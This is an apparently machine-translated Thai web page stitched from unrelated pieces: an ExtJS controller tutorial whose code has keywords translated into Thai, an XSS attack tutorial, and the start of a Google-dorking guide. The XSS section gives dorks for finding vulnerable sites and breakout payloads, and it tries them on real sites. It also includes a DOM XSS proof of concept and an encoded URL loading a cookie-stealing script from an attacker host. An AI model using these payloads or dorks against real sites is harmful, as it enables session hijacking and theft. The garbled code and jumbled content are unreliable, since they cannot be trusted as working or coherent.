Inurl livre php msg แจ้งเตือนอย่างกล้าหาญ การสร้างคอนโทรลเลอร์ใน ExtJS การค้นหาคำโดยใช้ตัวดำเนินการเพิ่มเติม

อัปเดตครั้งล่าสุด: 11/11/2558

คอนโทรลเลอร์คือลิงก์หลักที่เชื่อมโยงทุกส่วนของแอปพลิเคชันเข้าด้วยกันและทำให้ทำงานได้ เพิ่มลงในแค็ตตาล็อก BookApp/แอป/คอนโทรลเลอร์ไฟล์ Books.jsโดยมีเนื้อหาดังนี้

Ext.define("BookApp.controller.Books", ( ขยาย: "Ext.app.Controller", มุมมอง: ["BookList", "Book"], ร้านค้า: ["BookStore"], รุ่น: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "ปุ่ม bookwindow": ( คลิก: this.createBook), "ปุ่ม bookwindow": ( คลิก: this.updateBook ), "ปุ่ม bookwindow": ( คลิก: this.deleteBook), "ปุ่ม bookwindow": ( คลิก: this.clearForm )), // อัปเดต updateBook: ฟังก์ชั่น(ปุ่ม) ( var win = button.up(" window") , form = win.down("form"), ค่า = form.getValues(), id = form.getRecord().get("id");values.id=id; url: "app/data/update.php", พารามิเตอร์: ค่า, ความสำเร็จ: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " รายการหนังสือ").getStore(); store.load(); Ext.Msg.alert("Update",data.message); else( Ext.Msg.alert("Update","Failed to update the book in the Library) "); ) ) )); ), // การสร้าง createBook: function(button) ( var win = button.up("window"), form = win.down("form"), ค่า = form.getValues () ;

Ext.Ajax.request (( url: "app/data/create.php", params: ค่า, ความสำเร็จ: ฟังก์ชั่น (ตอบกลับ, ตัวเลือก) ( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" ,"ไม่สามารถเพิ่มหนังสือเข้าห้องสมุดได้");

ยอดดู: ["BookList", "Book"], ร้านค้า: ["BookStore"], รุ่น: ["Book"],

ต่อไป ในพารามิเตอร์ init โดยใช้ฟังก์ชัน เราจะเริ่มต้นตัวจัดการปุ่มที่เรามีในมุมมอง ฟังก์ชั่นการควบคุมช่วยให้คุณเชื่อมโยงตัวจัดการกับส่วนประกอบต่างๆ ฟังก์ชันนี้ใช้คลาส Ext.ComponentQuery ซึ่งช่วยให้คุณใช้ตัวเลือกสไตล์ CSS เพื่อค้นหาองค์ประกอบ ตัวอย่างเช่น นิพจน์ "viewport > booklist" จะค้นหาองค์ประกอบที่มีรายการหนังสือนามแฝงที่กำหนดไว้ในส่วนประกอบวิวพอร์ต ตัวเลือกนี้จะลงเอยด้วยการเป็นตัวแทน BookList

และนิพจน์ "ปุ่ม bookwindow" จะได้รับปุ่มที่มีคุณสมบัติการกระทำถูกตั้งค่าเป็นใหม่และอยู่ในองค์ประกอบ bookwindow นั่นคือในมุมมองหนังสือซึ่งเป็นนามแฝง bookwindow ดังนั้น หากคุณคุ้นเคยกับตัวเลือก CSS ก็ไม่ใช่เรื่องยากสำหรับคุณที่จะเข้าใจว่าตัวเลือกทำงานอย่างไรใน ExtJS

"viewport > รายการหนังสือ": ( itemdblclick: this.editBook )

ฟังก์ชันตัวจัดการทั้งหมดถูกกำหนดไว้หลังฟังก์ชัน init ตัวจัดการ this.editBook โหลดโมเดลที่เลือกลงในหน้าต่าง:

แก้ไขหนังสือ: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(record); )

เมื่อใช้เมธอด Ext.widget เราค้นหาคอมโพเนนต์ที่ต้องการโดยใช้ตัวเลือก Ext.ComponentQuery (นิพจน์นี้จะคล้ายกับนิพจน์ Ext.create("widget.bookwindow") จากนั้นรับองค์ประกอบลูกโดยใช้วิธี down เช่นกัน โดยใช้ตัวเลือก จากนั้นเราจะโหลดโมเดลที่เลือกลงในแบบฟอร์ม

หลังจากโหลดโมเดลแล้ว เรามีสามตัวเลือก: เพิ่มหนังสือเล่มใหม่ เปลี่ยนเล่มที่เลือก หรือลบเล่มที่เลือก และนี่คือจุดที่ตัวจัดการสำหรับปุ่มเหล่านี้เข้ามามีบทบาท เนื่องจากตัวจัดการเป็นประเภทเดียวกัน เราจะวิเคราะห์หนึ่งในนั้น

ตัวจัดการ updateBook ได้รับข้อมูลของหนังสือที่เปลี่ยนแปลงและส่งคำขอ Ajax ไปยังเซิร์ฟเวอร์:

UpdateBook: function(button) ( var win = button.up("window"), form = win.down("form"), ค่า = form.getValues(), id = form.getRecord().get( "id ");values.id=id; Ext.Ajax.request(( url: "app/data/update.php", พารามิเตอร์: ค่า, ความสำเร็จ: ฟังก์ชั่น (ตอบกลับ) ( var data=Ext.decode(response. responseText); if(data.success)( var store = Ext.widget("รายการหนังสือ").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Ext. Msg.alert("อัปเดต", "ไม่สามารถอัปเดตหนังสือในห้องสมุด" ) ) );

ตัวจัดการได้รับปุ่มกดเป็นพารามิเตอร์ จากนั้นใช้วิธี up เราจะได้รับองค์ประกอบหลักของปุ่มนี้: function(button) (var win= button.up("window")...

ด้วยค่านิพจน์ = form.getValues() เราได้รับค่าทั้งหมดของฟิลด์แบบฟอร์ม แต่เนื่องจากเมื่อมีการเปลี่ยนแปลงเมื่อโต้ตอบกับฐานข้อมูล เช่น จำเป็นต้องมี id จากนั้นเราจึงเพิ่ม id ของ โมเดลกำลังอัปเดตเป็นตัวแปรค่า

ต่อไปเราจะส่งคำขอ Ajax พร้อมข้อมูลหนังสือใหม่ไปยังเซิร์ฟเวอร์โดยส่งตัวแปรค่าเป็นพารามิเตอร์ไปยังคำขอ กำลังรับไฟล์ อัพเดต.php(ซึ่งควรจะอยู่ในโฟลเดอร์ BookApp/แอป/ข้อมูล) สามารถรับพารามิเตอร์ที่ส่งผ่านได้ดังนี้:

และท้ายที่สุดแล้ว ในฟังก์ชัน Success เราจะดูผลลัพธ์ที่เซิร์ฟเวอร์ส่งมาเป็นการตอบกลับ และหากทุกอย่างเป็นไปด้วยดี เราจะดาวน์โหลดข้อมูลที่อัปเดตจากเซิร์ฟเวอร์

ตัวจัดการอีกสองตัวทำงานบนหลักการที่คล้ายกัน

และในตอนท้ายสุดเราจะเปลี่ยนไฟล์แอปพลิเคชัน แอพ.jsเพื่อที่จะยอมรับคอนโทรลเลอร์ที่สร้างขึ้นด้านบนดังนี้:

Ext.application(( ต้องใช้: ["Ext.container.Viewport"], ชื่อ: "BookApp", appFolder: "app", ตัวควบคุม: ["Books"], launch: function() ( Ext.create("Ext. container.Viewport", ( รูปแบบ: "พอดี", รายการ: ( xtype: "รายการหนังสือ" ) )); ) ));

ในตัวควบคุม: คุณสมบัติ ["Books"] เราระบุตัวควบคุมที่สร้างขึ้นด้านบน

ตอนนี้แอปพลิเคชันพร้อมแล้วและสามารถเปิดใช้งานได้:

ดังนั้นเราจึงสามารถใช้รูปแบบ MVC เพื่อสร้างแอปพลิเคชัน Ext JS ได้

การเขียนสคริปต์ข้ามไซต์ (XSS) เป็นช่องโหว่ที่เกี่ยวข้องกับการแทรกโค้ดฝั่งไคลเอ็นต์ (JavaScript) ลงในหน้าเว็บที่ผู้ใช้รายอื่นกำลังดูอยู่

ช่องโหว่นี้เกิดจากการกรองข้อมูลที่ผู้ใช้ส่งเพื่อแทรกลงในหน้าเว็บไม่เพียงพอ เข้าใจง่ายกว่ามากด้วยตัวอย่างที่เป็นรูปธรรม จำสมุดเยี่ยมใด ๆ - เป็นโปรแกรมที่ออกแบบมาเพื่อรับข้อมูลจากผู้ใช้แล้วแสดง ลองจินตนาการว่าสมุดเยี่ยมไม่ได้ตรวจสอบหรือกรองข้อมูลที่ป้อน แต่อย่างใด แต่เพียงแสดงข้อมูลเหล่านั้น

คุณสามารถร่างสคริปต์ที่ง่ายที่สุดของคุณได้ (ไม่มีอะไรง่ายไปกว่าการเขียนสคริปต์ที่ไม่ดีใน PHP - หลายๆ คนทำเช่นนี้) แต่มีตัวเลือกสำเร็จรูปมากมายอยู่แล้ว ตัวอย่างเช่น ฉันขอแนะนำให้เริ่มต้นด้วย Dojo และ OWASP Mutillidae II มีตัวอย่างที่คล้ายกันอยู่ที่นั่น ในสภาพแวดล้อม Dojo แบบสแตนด์อโลน ให้ไปที่ลิงก์นี้ในเบราว์เซอร์ของคุณ: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

หากผู้ใช้รายใดรายหนึ่งเข้ามา:

หน้าเว็บจะแสดง:

สวัสดี! ฉันชอบเว็บไซต์ของคุณ

และหากผู้ใช้ป้อนข้อมูลนี้:

สวัสดี! ฉันชอบ site.alert("Pwned") ของคุณ

จากนั้นจะแสดงผลดังนี้:

เบราว์เซอร์จัดเก็บคุกกี้จำนวนมากสำหรับไซต์จำนวนมาก แต่ละไซต์สามารถรับได้เฉพาะคุกกี้ที่บันทึกไว้เท่านั้น ตัวอย่างเช่น example.com ได้จัดเก็บคุกกี้บางส่วนไว้ในเบราว์เซอร์ของคุณ หากคุณเยี่ยมชม another.com ไซต์นี้ (สคริปต์ไคลเอนต์และเซิร์ฟเวอร์) จะไม่สามารถเข้าถึงคุกกี้ที่ example.com เก็บไว้

หาก example.com มีความเสี่ยงต่อ XSS นั่นหมายความว่าเราสามารถแทรกโค้ด JavaScript ลงไปได้ และโค้ดนั้นจะถูกดำเนินการในนามของ example.com! เหล่านั้น. ตัวอย่างเช่น รหัสนี้จะเข้าถึงคุกกี้ของ example.com

ฉันคิดว่าทุกคนจำได้ว่า JavaScript ดำเนินการในเบราว์เซอร์ของผู้ใช้เช่น เมื่อมี XSS โค้ดที่เป็นอันตรายที่ฝังไว้จะสามารถเข้าถึงข้อมูลของผู้ใช้ที่เปิดหน้าเว็บไซต์ได้

โค้ดที่ฝังไว้สามารถทำทุกอย่างที่ JavaScript สามารถทำได้ กล่าวคือ:

  • เข้าถึงคุกกี้ของเว็บไซต์ที่คุณกำลังดูอยู่
  • สามารถทำการเปลี่ยนแปลงรูปลักษณ์ของเพจได้
  • เข้าถึงคลิปบอร์ด
  • สามารถใช้โปรแกรม JavaScript ได้ เช่น คีย์ล็อกเกอร์ (ตัวสกัดกั้นการกดแป้นพิมพ์)
  • รับได้ที่ BeEF
  • ฯลฯ

ตัวอย่างที่ง่ายที่สุดกับคุกกี้:

การแจ้งเตือน (document.cookie)

อันที่จริงแล้ว การแจ้งเตือนใช้เพื่อตรวจจับ XSS เท่านั้น เพย์โหลดที่เป็นอันตรายจริงจะดำเนินการที่ซ่อนอยู่ มันแอบติดต่อกับเซิร์ฟเวอร์ระยะไกลของผู้โจมตีและถ่ายโอนข้อมูลที่ถูกขโมยไป

ประเภทของ XSS

สิ่งสำคัญที่สุดที่ต้องเข้าใจเกี่ยวกับประเภทของ XSS คือ:

  • เก็บไว้ (ถาวร)
  • สะท้อน (ไม่แน่นอน)

ตัวอย่างค่าคงที่:

  • ข้อความที่สร้างขึ้นเป็นพิเศษโดยผู้โจมตีในสมุดเยี่ยมชม (ความคิดเห็น ข้อความฟอรัม โปรไฟล์) ซึ่งบันทึกไว้บนเซิร์ฟเวอร์ จะถูกดาวน์โหลดจากเซิร์ฟเวอร์ทุกครั้งที่ผู้ใช้ร้องขอให้แสดงหน้านี้
  • ผู้โจมตีสามารถเข้าถึงข้อมูลเซิร์ฟเวอร์ได้ เช่น ผ่านการแทรก SQL และนำโค้ด JavaScript ที่เป็นอันตราย (ที่มีกิโลล็อกเกอร์หรือ BeEF) เข้าไปในข้อมูลที่มอบให้กับผู้ใช้

ตัวอย่างที่ไม่ถาวร:

  • มีการค้นหาบนไซต์ที่แสดงบางอย่างเช่น "คุณค้นหา: [สตริงการค้นหา]" พร้อมด้วยผลการค้นหา และข้อมูลไม่ได้รับการกรองอย่างถูกต้อง เนื่องจากเพจดังกล่าวจะแสดงต่อผู้ที่มีลิงก์ไปยังเพจนั้นเท่านั้น การโจมตีจะไม่ทำงานจนกว่าผู้โจมตีจะส่งลิงก์ไปยังผู้ใช้รายอื่นของไซต์ แทนที่จะส่งลิงก์ไปยังเหยื่อ คุณสามารถใช้การวางสคริปต์ที่เป็นอันตรายบนไซต์กลางที่เหยื่อเข้าชมได้

พวกเขายังแยกแยะความแตกต่าง (บางประเภทเป็นช่องโหว่ XSS ที่ไม่ถาวร บางคนบอกว่าประเภทนี้อาจเป็นประเภทหนึ่งของ XSS แบบถาวร):

  • โมเดล DOM
คุณสมบัติของ XSS ที่ใช้ DOM

พูดง่ายๆ ก็คือเราสามารถเห็นโค้ดที่เป็นอันตรายของ XSS ที่ไม่ถาวร "ปกติ" หากเราเปิดโค้ด HTML ตัวอย่างเช่น ลิงก์ถูกสร้างขึ้นในลักษณะนี้:

Http://example.com/search.php?q="/>การแจ้งเตือน(1)

และเมื่อเราเปิดซอร์สโค้ด HTML เราจะเห็นสิ่งนี้:

alert(1)" /> ค้นหา

และ DOM XSS จะเปลี่ยนโครงสร้าง DOM ซึ่งสร้างขึ้นในเบราว์เซอร์ได้ทันที และเราจะเห็นเฉพาะโค้ดที่เป็นอันตรายเมื่อดูโครงสร้าง DOM ที่สร้างขึ้นเท่านั้น HTML จะไม่เปลี่ยนแปลง ลองใช้โค้ดนี้เป็นตัวอย่าง:

site:::DOM XSS เกิดข้อผิดพลาด... ฟังก์ชัน OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (ผลลัพธ์) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( กลับ null; ) ) display_session = OnLoad();

")

document.write("รหัสเซสชันของคุณคือ: " + display_session + "

จากนั้นในเบราว์เซอร์เราจะเห็น:

รหัสแหล่งที่มาของหน้า:

มาสร้างที่อยู่ดังนี้:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

ตอนนี้หน้าจะมีลักษณะดังนี้:

แต่ลองมาดูซอร์สโค้ด HTML กัน:

ไม่มีอะไรเปลี่ยนแปลงเลย นี่คือสิ่งที่ฉันกำลังพูดถึง เราต้องดูโครงสร้าง DOM ของเอกสารเพื่อระบุโค้ดที่เป็นอันตราย:

นี่คือต้นแบบ XSS ที่ใช้งานได้ สำหรับการโจมตีจริง เราจำเป็นต้องมีเพย์โหลดที่ซับซ้อนมากขึ้น ซึ่งเป็นไปไม่ได้เนื่องจากแอปพลิเคชันหยุดอ่านทันทีหลังเครื่องหมายอัฒภาค และบางอย่างเช่น alert(1);alert(2) ไม่ใช่ เป็นไปได้อีกต่อไป อย่างไรก็ตาม ต้องขอบคุณ unescape() เราจึงสามารถใช้เพย์โหลดเช่นนี้ในข้อมูลที่ส่งคืนได้:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

ขณะนี้เราสามารถเขียนเพย์โหลด JavaScript ที่เป็นอันตรายและสร้างลิงก์เพื่อส่งไปยังเหยื่อได้ เช่นเดียวกับที่ทำกับสคริปต์ข้ามไซต์มาตรฐานที่ไม่ถาวร

ผู้ตรวจสอบบัญชี XSS

ใน Google Chrome (และใน Opera ซึ่งตอนนี้ใช้เครื่องมือ Google Chrome) ความประหลาดใจนี้รอฉันอยู่:

dom_xss.html:30 ผู้ตรวจสอบ XSS ปฏิเสธที่จะรันสคริปต์ใน "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" เนื่องจากพบซอร์สโค้ดภายในคำขอ ผู้ตรวจสอบถูกเปิดใช้งานเนื่องจากเซิร์ฟเวอร์ส่งทั้งส่วนหัว "X-XSS-Protection" หรือ "Content-Security-Policy"

เหล่านั้น. ขณะนี้เบราว์เซอร์มีผู้ตรวจสอบ XSS ที่จะพยายามป้องกัน XSS Firefox ยังไม่มีฟังก์ชันนี้ แต่ฉันคิดว่ามันเป็นเรื่องของเวลา หากการใช้งานในเบราว์เซอร์สำเร็จเราสามารถพูดถึงปัญหาสำคัญในการใช้ XSS ได้

เป็นเรื่องดีที่จำไว้ว่าเบราว์เซอร์สมัยใหม่กำลังดำเนินการเพื่อจำกัดระดับของปัญหาการหาประโยชน์ เช่น XSS ที่ไม่ถาวรและ XSS ที่ใช้ DOM นี่เป็นสิ่งที่ควรจำไว้เมื่อทดสอบเว็บไซต์โดยใช้เบราว์เซอร์ - อาจกลายเป็นว่าแอปพลิเคชันเว็บนั้นมีช่องโหว่ แต่คุณไม่เห็นป๊อปอัปยืนยันเพียงเพราะเบราว์เซอร์กำลังบล็อกอยู่

ตัวอย่างการหาประโยชน์จาก XSS

ผู้โจมตีที่ต้องการใช้ประโยชน์จากช่องโหว่ของสคริปต์ข้ามไซต์จะต้องเข้าถึงช่องโหว่แต่ละประเภทที่แตกต่างกัน อธิบายเวกเตอร์การโจมตีสำหรับแต่ละคลาสไว้ที่นี่

สำหรับช่องโหว่ XSS การโจมตีสามารถใช้ BeEF ซึ่งจะขยายการโจมตีจากเว็บไซต์ไปยังสภาพแวดล้อมท้องถิ่นของผู้ใช้

ตัวอย่างการโจมตี XSS ที่ไม่ถาวร

1. อลิซเข้าชมเว็บไซต์บางแห่งที่โฮสต์โดย Bob บ่อยครั้ง เว็บไซต์ของ Bob อนุญาตให้ Alice เข้าสู่ระบบด้วยชื่อผู้ใช้/รหัสผ่าน และจัดเก็บข้อมูลที่ละเอียดอ่อน เช่น ข้อมูลการชำระเงิน เมื่อผู้ใช้เข้าสู่ระบบ เบราว์เซอร์จะจัดเก็บคุกกี้การอนุญาตซึ่งมีลักษณะเหมือนอักขระที่ไม่มีความหมาย เช่น คอมพิวเตอร์ทั้งสองเครื่อง (ไคลเอนต์และเซิร์ฟเวอร์) จำได้ว่าเธอเข้ามา

2. Mallory ตั้งข้อสังเกตว่าเว็บไซต์ของ Bob มีช่องโหว่ XSS ที่ไม่ถาวร:

2.1 เมื่อคุณเยี่ยมชมหน้าค้นหา ให้กรอกสตริงการค้นหาและคลิกที่ปุ่มส่ง หากไม่พบผลลัพธ์ หน้าจะแสดงสตริงการค้นหาที่ป้อนตามด้วยคำว่า “ไม่พบ” และ URL มีลักษณะเป็น http://bobssite .org?q= คำค้นหาของเธอ

2.2 ด้วยคำค้นหาปกติเช่นคำว่า "สุนัข" หน้าเว็บจะแสดงเพียง "ไม่พบสุนัข" และ URL http://bobssite.org?q=dogs ซึ่งเป็นพฤติกรรมปกติโดยสมบูรณ์

2.3 อย่างไรก็ตาม เมื่อมีข้อความค้นหาผิดปกติ เช่น alert("xss"); -

2.3.1 ข้อความเตือนจะปรากฏขึ้น (ซึ่งระบุว่า "xss")

2.3.2 หน้าแสดง alert("xss"); ไม่พบพร้อมกับข้อความแสดงข้อผิดพลาดที่มีข้อความ "xss"

2.3.3 URL ที่เหมาะสำหรับการแสวงหาผลประโยชน์ http://bobssite.org?q=alert("xss");

3. Mallory สร้าง URL เพื่อใช้ประโยชน์จากช่องโหว่:

3.1 เธอสร้าง URL http://bobssite.org?q=puppies เธออาจเลือกที่จะแปลงอักขระ ASCII เป็นรูปแบบเลขฐานสิบหก เช่น http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E เพื่อที่จะ เพื่อป้องกันไม่ให้ผู้อื่นถอดรหัส URL ที่เป็นอันตรายทันที

3.2 เธอส่งอีเมลถึงสมาชิกที่ไม่สงสัยบางคนของไซต์ของ Bob โดยบอกว่า "ลองดูสุนัขเจ๋ง ๆ สิ"

4. อลิซได้รับจดหมาย เธอรักสุนัขและคลิกลิงก์ เธอไปที่ไซต์ของ Bob เพื่อค้นหา เธอไม่พบอะไรเลย "ไม่พบสุนัข" ปรากฏขึ้นที่นั่น และตรงกลางแท็กที่มีสคริปต์จะเปิดตัว (มองไม่เห็นบนหน้าจอ) ดาวน์โหลดและเรียกใช้งาน Mallory's โปรแกรม authstealer.js (กระตุ้นการโจมตี XSS) อลิซลืมเรื่องนี้ไปซะ

5. โปรแกรม authstealer.js ทำงานในเบราว์เซอร์ของ Alice เหมือนกับว่ามาจากเว็บไซต์ของ Bob เธอหยิบสำเนาคุกกี้อนุญาตของอลิซแล้วส่งไปที่เซิร์ฟเวอร์ของ Malory ซึ่ง Malory ดึงข้อมูลเหล่านั้นกลับมา

7. เมื่อ Malorie อยู่ข้างในแล้ว เธอไปที่ส่วนการชำระเงินของเว็บไซต์ ดูและขโมยสำเนาหมายเลขบัตรเครดิตของ Alice จากนั้นเธอก็ไปเปลี่ยนรหัสผ่านเช่น ตอนนี้อลิซไม่สามารถเข้ามาได้อีกต่อไป

8. เธอตัดสินใจที่จะดำเนินการขั้นตอนต่อไปและส่งลิงก์ที่สร้างขึ้นในลักษณะนี้ให้กับ Bob เอง และด้วยเหตุนี้จึงได้รับสิทธิ์ผู้ดูแลระบบสำหรับไซต์ของ Bob

การโจมตี XSS อย่างต่อเนื่อง

  • มัลลอรีมีบัญชีอยู่ในเว็บไซต์ของบ็อบ
  • Mallory สังเกตเห็นว่าเว็บไซต์ของ Bob มีช่องโหว่ XSS อย่างต่อเนื่อง หากคุณไปที่ส่วนใหม่และแสดงความคิดเห็น ส่วนนั้นจะแสดงสิ่งที่คุณพิมพ์ลงไป แต่หากข้อความความคิดเห็นมีแท็ก HTML แท็กเหล่านั้นจะแสดงผลตามที่เป็นอยู่ และแท็กสคริปต์ใดๆ จะถูกดำเนินการ
  • Mallory อ่านบทความในส่วน News และเขียนความคิดเห็นในส่วนความคิดเห็น ในความคิดเห็นเธอแทรกข้อความ:
  • ฉันชอบสุนัขในเรื่องนี้มาก พวกเขาดีมาก!
  • เมื่ออลิซ (หรือใครก็ตาม) โหลดหน้าเว็บที่มีความคิดเห็นนี้ แท็กสคริปต์ของ Malory จะทำงานและขโมยคุกกี้การอนุญาตของ Alice โดยส่งไปยังเซิร์ฟเวอร์ลับของ Malory เพื่อรวบรวม
  • ตอนนี้มัลลอรี่สามารถแย่งเซสชันของอลิซและปลอมตัวเป็นอลิซได้แล้ว
  • ค้นหาไซต์ที่เสี่ยงต่อ XSS

    Dorks สำหรับ XSS

    ขั้นตอนแรกคือการเลือกไซต์ที่เราจะทำการโจมตี XSS สามารถค้นหาไซต์ได้โดยใช้ Google dorks นี่คือ Dorks บางส่วนที่คุณสามารถคัดลอกและวางลงในการค้นหาของ Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    รายชื่อเว็บไซต์จะเปิดต่อหน้าเรา คุณต้องเปิดไซต์และค้นหาช่องป้อนข้อมูล เช่น แบบฟอร์มคำติชม แบบฟอร์มป้อนข้อมูล การค้นหาไซต์ ฯลฯ

    ให้ฉันทราบทันทีว่าการค้นหาช่องโหว่ในเว็บแอปพลิเคชันยอดนิยมที่อัปเดตอัตโนมัตินั้นแทบจะไม่มีประโยชน์เลย ตัวอย่างคลาสสิกของแอปพลิเคชันดังกล่าวคือ WordPress ในความเป็นจริง มีช่องโหว่ใน WordPress และโดยเฉพาะอย่างยิ่งในปลั๊กอิน นอกจากนี้ยังมีเว็บไซต์จำนวนมากที่ไม่ได้อัปเดตทั้งกลไก WordPress (เนื่องจากผู้ดูแลเว็บได้ทำการเปลี่ยนแปลงซอร์สโค้ด) หรือปลั๊กอินและธีมของพวกเขา (ตามกฎแล้วสิ่งเหล่านี้คือปลั๊กอินและธีมที่ละเมิดลิขสิทธิ์) แต่ถ้าคุณอ่านหัวข้อนี้และเรียนรู้สิ่งใหม่จากส่วนนี้ แสดงว่า WordPress ยังไม่เหมาะกับคุณ... เราจะกลับมาที่ส่วนนี้ในภายหลังอย่างแน่นอน

    เป้าหมายที่ดีที่สุดคือเอ็นจิ้นและสคริปต์ที่เขียนเองที่หลากหลาย

    คุณสามารถเลือกเพย์โหลดการแทรกเป็นได้

    การแจ้งเตือน(1)

    โปรดทราบว่าแท็กโค้ด HTML ใดที่โค้ดที่ฝังไว้ของคุณตกอยู่ นี่คือตัวอย่างของช่องป้อนข้อมูลทั่วไป:

    การแจ้งเตือน(1)

    น้ำหนักบรรทุกของเราจะจบลงตรงที่คำว่า "ปลอกหมอน" อยู่ในขณะนี้ เหล่านั้น. เปลี่ยนเป็นค่าของแท็กอินพุต เราสามารถหลีกเลี่ยงปัญหานี้ได้โดยการปิดเครื่องหมายคำพูดคู่แล้วปิดแท็กด้วย "/>

    "/>แจ้งเตือน(1)

    เรามาลองกันดูสำหรับบางไซต์:

    เยี่ยมมาก มีช่องโหว่อยู่

    โปรแกรมสำหรับค้นหาและสแกนช่องโหว่ XSS

    เครื่องสแกนเว็บแอปพลิเคชันทั้งหมดอาจมีเครื่องสแกนช่องโหว่ XSS ในตัว หัวข้อนี้ไม่ครอบคลุม ควรทำความคุ้นเคยกับเครื่องสแกนแต่ละเครื่องแยกกันจะดีกว่า

    นอกจากนี้ยังมีเครื่องมือพิเศษสำหรับการสแกนหาช่องโหว่ XSS ในบรรดาสิ่งเหล่านี้เราสามารถเน้นเป็นพิเศษ:

    • XSSer ไม่เพียงแต่เป็นเครื่องสแกนอันทรงพลังที่สามารถใช้วิธีการต่างๆ ในการฉีดและหลีกเลี่ยงการกรอง แต่ยังเป็นเครื่องมืออัตโนมัติสำหรับการค้นหาไซต์ที่เสี่ยงต่อ XSS (โดย dorks) สำหรับไซต์ที่พบช่องโหว่ จะสามารถอัดเพย์โหลดสำหรับการโจมตีจริงได้
    • XssPy ยังเป็นเครื่องมือที่ค่อนข้างอิสระที่สามารถค้นหาหน้าทั้งหมดของไซต์ (รวมถึงหน้าในโดเมนย่อย) และตรวจสอบองค์ประกอบอินพุตทั้งหมดบนหน้าเหล่านี้

    USSCLTD 10 พฤษภาคม 2559 เวลา 12:38 น

    การค้นหาช่องโหว่โดยใช้ Google
    • ความปลอดภัยของข้อมูล

    การค้นหาช่องโหว่ในแหล่งข้อมูลบนเว็บเริ่มต้นด้วยการลาดตระเวนและรวบรวมข้อมูล
    หน่วยสืบราชการลับสามารถใช้งานได้ทั้งไฟล์และไดเร็กทอรีของไซต์, การเรียกใช้เครื่องสแกนช่องโหว่, การเรียกดูไซต์ด้วยตนเองหรือแบบพาสซีฟ - การค้นหาข้อมูลในเครื่องมือค้นหาต่างๆ บางครั้งมันเกิดขึ้นที่ช่องโหว่เป็นที่รู้จักก่อนที่จะเปิดหน้าแรกของเว็บไซต์ด้วยซ้ำ

    สิ่งนี้เป็นไปได้อย่างไร?
    โรบ็อตการค้นหาที่โรมมิ่งอินเทอร์เน็ตอย่างต่อเนื่อง นอกเหนือจากข้อมูลที่เป็นประโยชน์ต่อผู้ใช้ทั่วไปแล้ว มักจะบันทึกสิ่งต่าง ๆ ที่ผู้โจมตีสามารถใช้เพื่อโจมตีทรัพยากรบนเว็บ ตัวอย่างเช่น ข้อผิดพลาดของสคริปต์และไฟล์ที่มีข้อมูลที่ละเอียดอ่อน (ตั้งแต่ไฟล์การกำหนดค่าและบันทึกไปจนถึงไฟล์ที่มีข้อมูลการตรวจสอบสิทธิ์และการสำรองฐานข้อมูล)
    จากมุมมองของโรบ็อตการค้นหา ข้อความแสดงข้อผิดพลาดเกี่ยวกับการดำเนินการสืบค้น sql จะเป็นข้อความธรรมดา ซึ่งแยกออกไม่ได้ เช่น จากคำอธิบายของผลิตภัณฑ์บนเพจ หากจู่ๆ โรบ็อตการค้นหาพบไฟล์ที่มีนามสกุล .sql ซึ่งไปอยู่ในโฟลเดอร์การทำงานของไซต์ด้วยเหตุผลบางประการ ไฟล์นั้นจะถูกมองว่าเป็นส่วนหนึ่งของเนื้อหาของไซต์และจะถูกจัดทำดัชนีด้วย (รวมถึงรหัสผ่านที่อาจเป็นไปได้ด้วย ระบุไว้ในนั้น)

    ข้อมูลดังกล่าวสามารถพบได้โดยการทราบคำหลักที่แข็งแกร่งและมักจะไม่ซ้ำใครซึ่งช่วยแยก "หน้าที่มีความเสี่ยง" ออกจากหน้าเว็บที่ไม่มีช่องโหว่
    ฐานข้อมูลขนาดใหญ่ของการสืบค้นพิเศษโดยใช้คำหลัก (เรียกว่า dorks) มีอยู่ใน Exploit-db.com และเป็นที่รู้จักในชื่อ Google Hack Database

    ทำไมต้องกูเกิ้ล?
    Dorks มีเป้าหมายหลักที่ Google ด้วยเหตุผลสองประการ:
    - ไวยากรณ์ที่ยืดหยุ่นที่สุดของคำสำคัญ (แสดงในตารางที่ 1) และอักขระพิเศษ (แสดงในตารางที่ 2)
    − ดัชนีของ Google ยังคงสมบูรณ์มากกว่าเครื่องมือค้นหาอื่นๆ

    ตารางที่ 1 - คำหลักหลักของ Google

    คำสำคัญ
    ความหมาย
    ตัวอย่าง
    เว็บไซต์
    ค้นหาเฉพาะไซต์ที่ระบุเท่านั้น คำนึงถึง URL ของบัญชีเท่านั้น
    site:somesite.ru - จะค้นหาหน้าทั้งหมดในโดเมนและโดเมนย่อยที่ระบุ
    ใส่ URL
    ค้นหาด้วยคำที่มีอยู่ใน uri ต่างจากคลี. คำว่า "ไซต์" ค้นหารายการที่ตรงกันหลังชื่อไซต์
    inurl:news - ค้นหาทุกหน้าที่มีคำที่ระบุปรากฏใน URI
    ข้อความ
    ค้นหาในเนื้อหาของหน้า
    intext:”การจราจรติดขัด” - คล้ายกับคำขอปกติสำหรับ “การจราจรติดขัด”
    ชื่อ
    ค้นหาในชื่อหน้า ข้อความระหว่างแท็ก
    intitle:”index of” - จะค้นหาหน้าทั้งหมดที่มีรายการไดเร็กทอรี
    ต่อ
    ค้นหาหน้าที่มีนามสกุลที่ระบุ
    ext:pdf - ค้นหาไฟล์ PDF ทั้งหมด
    ประเภทไฟล์
    ปัจจุบันคล้ายกับชั้นเรียนโดยสิ้นเชิง คำว่า "ต่อ"
    ประเภทไฟล์:pdf - คล้ายกัน
    ที่เกี่ยวข้อง
